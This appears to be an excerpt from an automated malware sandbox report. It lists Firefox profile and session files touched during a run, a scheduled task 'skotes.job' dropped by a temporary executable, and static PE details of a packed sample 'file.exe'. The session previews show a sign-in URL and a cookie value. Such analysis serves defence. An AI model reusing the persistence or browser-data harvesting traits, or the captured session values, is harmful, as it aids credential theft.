SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07315756461482394
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkikt:DLhesh7Owd4+jik
MD5:	42273D4D839ECC40A16BDF0E9E19D3CE
SHA1:	E4D9BB4BBCCCA08106F84D398132322DE9E3EBA8
SHA-256:	96D833517FE087B753A24E7A0D61D1CE6C60488B2099E2E33DB77E4FBDE92A44
SHA-512:	083038AA7FDD27F306C024C56A91C089B4FD5513BD9C979F43F724AD7431D363C6E037149B42EBE7BBF0A55F3ABE5DFB8B6AD9489DF359015718FA2E3CEC4874
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03547963191936293
Encrypted:	false
SSDEEP:	3:GtlstF4Z92tkRY/tlstF4Z92tk7tJ89//alEl:GtWt6//RY/tWt6//7tJ89XuM
MD5:	8736EFA153A0497DBD2C755B8953BBF5
SHA1:	781143ADBFA4CB13A4F7ED5EF67A9E1BA0720E63
SHA-256:	DE2E7F45B6F7750A41C11C998DC03C33FB10080EB5F1898D7DB355476D1D9470
SHA-512:	7FFCAD6BB055C2E936E5E5D1DD88B3EF894969F23AD274FFA8B06FE9149B6DFCBADD545B30DA6D2008CB9D2CC507ED6B73A418DEC4B88818CDBD93638458D9CD
Malicious:	false
Preview:	..-...................../<..5S]Z6....Z...wc7....-...................../<..5S]Z6....Z...wc7..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03948311837464958
Encrypted:	false
SSDEEP:	3:Ol1FkpdCF1gllfTVptk1ZKwIwl8rEXsxdwhml8XW3R2:KUrCXglBV4rKw7l8dMhm93w
MD5:	CEC34AF4CC1C3ACE6763C98710B87940
SHA1:	5A348EB497E715BEBC4374B43F1F44EB6A84FA27
SHA-256:	7073AE2FF0DF6A5B1C1C2736D569AB74E5CB6C70B4E12F66F225C2203FD34ECA
SHA-512:	601FE6FA4B6602B1AA4D2C5861CDF4B9136AFEF9DF1771F7E9240D6AA03925AC5CACFA95D03DD651FC404642F1D32B78A851B0E15416FF72CB2A5EC9DD3010E9
Malicious:	false
Preview:	7....-..........6....Z.....I.. .........6....Z....</Z]S5................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13254
Entropy (8bit):	5.495308828848805
Encrypted:	false
SSDEEP:	192:DnaRtLYbBp6Hhj4qyaaXz6KcoNoC5RfGNBw8drSl:meFqlDobcw80
MD5:	4CD2832A8E129F5E6B0B32B5B7E711CF
SHA1:	905BC32A18FBB398CA5F98614B78030E9D0F487C
SHA-256:	9EE146C0B57F2E2632331090D49C56C9977B328BA55DEB6D0E667E77F02236DD
SHA-512:	6BD2B97FBCFCEF171E24FB611B8148083AF0B32AD9DBB881914C6BD0867F2C3DBB3455470C247057941615DE49F46062605397CC7C7E076CB3BEAAC334056255
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1729504396);..user_pref("app.update.lastUpdateTime.background-update-timer", 1729504396);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1729504396);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 172950

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13254
Entropy (8bit):	5.495308828848805
Encrypted:	false
SSDEEP:	192:DnaRtLYbBp6Hhj4qyaaXz6KcoNoC5RfGNBw8drSl:meFqlDobcw80
MD5:	4CD2832A8E129F5E6B0B32B5B7E711CF
SHA1:	905BC32A18FBB398CA5F98614B78030E9D0F487C
SHA-256:	9EE146C0B57F2E2632331090D49C56C9977B328BA55DEB6D0E667E77F02236DD
SHA-512:	6BD2B97FBCFCEF171E24FB611B8148083AF0B32AD9DBB881914C6BD0867F2C3DBB3455470C247057941615DE49F46062605397CC7C7E076CB3BEAAC334056255
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1729504396);..user_pref("app.update.lastUpdateTime.background-update-timer", 1729504396);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1729504396);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 172950

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	6:ltBl/l4/WN1h4BEJYqWvLue3FMOrMZ0l:DBl/WuntfJiFxMZO
MD5:	18F65713B07CB441E6A98655B726D098
SHA1:	2CEFA32BC26B25BE81C411B60C9925CB0F1F8F88
SHA-256:	B6C268E48546B113551A5AF9CA86BB6A462A512DE6C9289315E125CEB0FD8621
SHA-512:	A6871076C7D7ED53B630F9F144ED04303AD54A2E60B94ECA2AA96964D1AB375EEFDCA86CE0D3EB0E9DBB81470C6BD159877125A080C95EB17E54A52427F805FB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.baklz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 5861 bytes
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	6.3246902551930875
Encrypted:	false
SSDEEP:	24:v+USUGlcAxSmLXnIg5B/pnxQwRlszT5sKtZ3eHVQj6TRamhujJlOsIx6mNVr0aDO:GUpOxL9nR673eHTR4JlGjquR4
MD5:	70A2B29B42545A696F2E142130BA9A2B
SHA1:	9AF720EDCAE079C48AEB74FFAA9FBD25AFE8109E
SHA-256:	5CCDC5AE76707289A9302856857CC89642A9DE950647F6B5983F20C317774A02
SHA-512:	0EF34567A2CF0ECDF086CFE49EA1B8CE25EE1EBE9A37548435678E1D25A3A2E3A4D342E52DF9EFF8A5E79A94B545C452CF48537FABFFC0CF81C1065F31D00562
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://youtube.com/account?=.....rs.googl%...v3/signin/challenge/pwd","title[.C..cacheKey":0,"ID":6,"docshellUU...D"{e7ee9464-1fb8-4e42-8c72-d124eca265e9}","resultPrincipalURI":null,"hasUserInteracte...true,"triggering8.p_base64z..\"3\":{}^...docIdentifier":7,"persistK..+}],"lastAccessed":1729504406549,"hidden":false,"searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imag....chrome://global/skin/icons/warning.svg"..aselect...,"_closedTZ.@],"_...C..`GroupCF..":-1,"busy...t...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximize......BeforeMin...&..workspace9...1a5ccf63-1000-409f-b5c1-afec7f75d4d9","zD..1...Wm..l........j..:....1":{..mUpdate...startTim..`366396...centCrash..B0},".....Dcook.. hoc..."addons.mozilla.org","valu...A8bad2467092e6ddeb0dfa9e5ea54d86d26790ca7ba2ce88d10cb4604fe726755","path":"/","na..a"taarI\|.Recure...,`.Donly..eexpiry....375047,"originA...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 5861 bytes
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	6.3246902551930875
Encrypted:	false
SSDEEP:	24:v+USUGlcAxSmLXnIg5B/pnxQwRlszT5sKtZ3eHVQj6TRamhujJlOsIx6mNVr0aDO:GUpOxL9nR673eHTR4JlGjquR4
MD5:	70A2B29B42545A696F2E142130BA9A2B
SHA1:	9AF720EDCAE079C48AEB74FFAA9FBD25AFE8109E
SHA-256:	5CCDC5AE76707289A9302856857CC89642A9DE950647F6B5983F20C317774A02
SHA-512:	0EF34567A2CF0ECDF086CFE49EA1B8CE25EE1EBE9A37548435678E1D25A3A2E3A4D342E52DF9EFF8A5E79A94B545C452CF48537FABFFC0CF81C1065F31D00562
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://youtube.com/account?=.....rs.googl%...v3/signin/challenge/pwd","title[.C..cacheKey":0,"ID":6,"docshellUU...D"{e7ee9464-1fb8-4e42-8c72-d124eca265e9}","resultPrincipalURI":null,"hasUserInteracte...true,"triggering8.p_base64z..\"3\":{}^...docIdentifier":7,"persistK..+}],"lastAccessed":1729504406549,"hidden":false,"searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imag....chrome://global/skin/icons/warning.svg"..aselect...,"_closedTZ.@],"_...C..`GroupCF..":-1,"busy...t...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximize......BeforeMin...&..workspace9...1a5ccf63-1000-409f-b5c1-afec7f75d4d9","zD..1...Wm..l........j..:....1":{..mUpdate...startTim..`366396...centCrash..B0},".....Dcook.. hoc..."addons.mozilla.org","valu...A8bad2467092e6ddeb0dfa9e5ea54d86d26790ca7ba2ce88d10cb4604fe726755","path":"/","na..a"taarI\|.Recure...,`.Donly..eexpiry....375047,"originA...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 5861 bytes
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	6.3246902551930875
Encrypted:	false
SSDEEP:	24:v+USUGlcAxSmLXnIg5B/pnxQwRlszT5sKtZ3eHVQj6TRamhujJlOsIx6mNVr0aDO:GUpOxL9nR673eHTR4JlGjquR4
MD5:	70A2B29B42545A696F2E142130BA9A2B
SHA1:	9AF720EDCAE079C48AEB74FFAA9FBD25AFE8109E
SHA-256:	5CCDC5AE76707289A9302856857CC89642A9DE950647F6B5983F20C317774A02
SHA-512:	0EF34567A2CF0ECDF086CFE49EA1B8CE25EE1EBE9A37548435678E1D25A3A2E3A4D342E52DF9EFF8A5E79A94B545C452CF48537FABFFC0CF81C1065F31D00562
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://youtube.com/account?=.....rs.googl%...v3/signin/challenge/pwd","title[.C..cacheKey":0,"ID":6,"docshellUU...D"{e7ee9464-1fb8-4e42-8c72-d124eca265e9}","resultPrincipalURI":null,"hasUserInteracte...true,"triggering8.p_base64z..\"3\":{}^...docIdentifier":7,"persistK..+}],"lastAccessed":1729504406549,"hidden":false,"searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imag....chrome://global/skin/icons/warning.svg"..aselect...,"_closedTZ.@],"_...C..`GroupCF..":-1,"busy...t...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximize......BeforeMin...&..workspace9...1a5ccf63-1000-409f-b5c1-afec7f75d4d9","zD..1...Wm..l........j..:....1":{..mUpdate...startTim..`366396...centCrash..B0},".....Dcook.. hoc..."addons.mozilla.org","valu...A8bad2467092e6ddeb0dfa9e5ea54d86d26790ca7ba2ce88d10cb4604fe726755","path":"/","na..a"taarI\|.Recure...,`.Donly..eexpiry....375047,"originA...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	5.032843576281786
Encrypted:	false
SSDEEP:	48:YrSAYSY6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5FtsfAcbyk:ycSYyTEr5QFRzzcMvbw6KkCrrc2Rn27
MD5:	63C376FD10D1AAEECBDB45977CE0EB67
SHA1:	75E45E76BE0B8CBF8F55759AE9B2E12EF13D6E4D
SHA-256:	77BB153EB1FD537E1B9F2AF42E5173EB8F58B963BC93D7910C5B2CD9E9BCC4C0
SHA-512:	32A08162F4DF83133782736761592480CDEB92F68CE2174A202D76FB24CE885C4D5F076FBD14AC147C5BCFD5ECBED5E3CBD1508B4886E8505E5FF26840436DC6
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-21T09:53:11.191Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	5.032843576281786
Encrypted:	false
SSDEEP:	48:YrSAYSY6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5FtsfAcbyk:ycSYyTEr5QFRzzcMvbw6KkCrrc2Rn27
MD5:	63C376FD10D1AAEECBDB45977CE0EB67
SHA1:	75E45E76BE0B8CBF8F55759AE9B2E12EF13D6E4D
SHA-256:	77BB153EB1FD537E1B9F2AF42E5173EB8F58B963BC93D7910C5B2CD9E9BCC4C0
SHA-512:	32A08162F4DF83133782736761592480CDEB92F68CE2174A202D76FB24CE885C4D5F076FBD14AC147C5BCFD5ECBED5E3CBD1508B4886E8505E5FF26840436DC6
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-21T09:53:11.191Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3986007263658586
Encrypted:	false
SSDEEP:	6:cPtXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0l1ut0:cRf2RKQ1CGAFAjzvYRQVct0
MD5:	E0E6EA8BC01680C78929BC0CC9395CD9
SHA1:	B18A50D6D56533D79E50C5A43E8741107759514C
SHA-256:	3E24C03EA27927D80592E93046E9D3EF3FD1D14CD1D86E9A660DE5EB40FDD313
SHA-512:	923CF9FF846E15DCD369D633B9A5BD87CE82781B4CADDD68A688D0576F46E690A06DF04D210E32B0984E3387BE6D12480E4AB3CE825A6BC901B538166DAA3860
Malicious:	false
Preview:	.....>.P.ZF..A.._..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0................./.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.524832197346847
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'964'480 bytes
MD5:	cb09d471f6622d52387938a9cdac08e6
SHA1:	2e8d9ac0c80bb578498b4e73b12fe015e7eb4649
SHA256:	574b0d7d27be586fa59b5079e437668480f1fbc25639248f073d835c7bcf37b3
SHA512:	875b7d8e314fc4d96d6b2690dbfebefdeb7aa17d288de32c8996c113e0c3a2e3698be85af7a53dd00001c551e67b476510d9abadb57410ec2faa8135f8e3203c
SSDEEP:	49152:o2bkQipeAi51WSokCuUPQGEkmYBaBHvWmswZ:RkQiMf50SokEPl7m/BHvt
TLSH:	4DD54BA2B50A71CFE48A17788527CE42796DC7BA07200CC3D86DB87A7D67CC525B6C78
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....}.-...@.................................W...k..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF8A080D26Ah
hint_nop dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add eax, 0B00000Ah
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	57cde1a0c27be2aab310f8e6c2866b49	False	0.9995165532178217	data	7.978374848132016	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
udbvbywm	0x60000	0x2ab000	0x2aa600	7a355ada100aa3fc1b618dc6de29e9fe	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kynijqbn	0x30b000	0x1000	0x400	77ba17ffd13ae9e5032a7c4f6bf207a0	False	0.8212890625	data	6.31507873686686	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
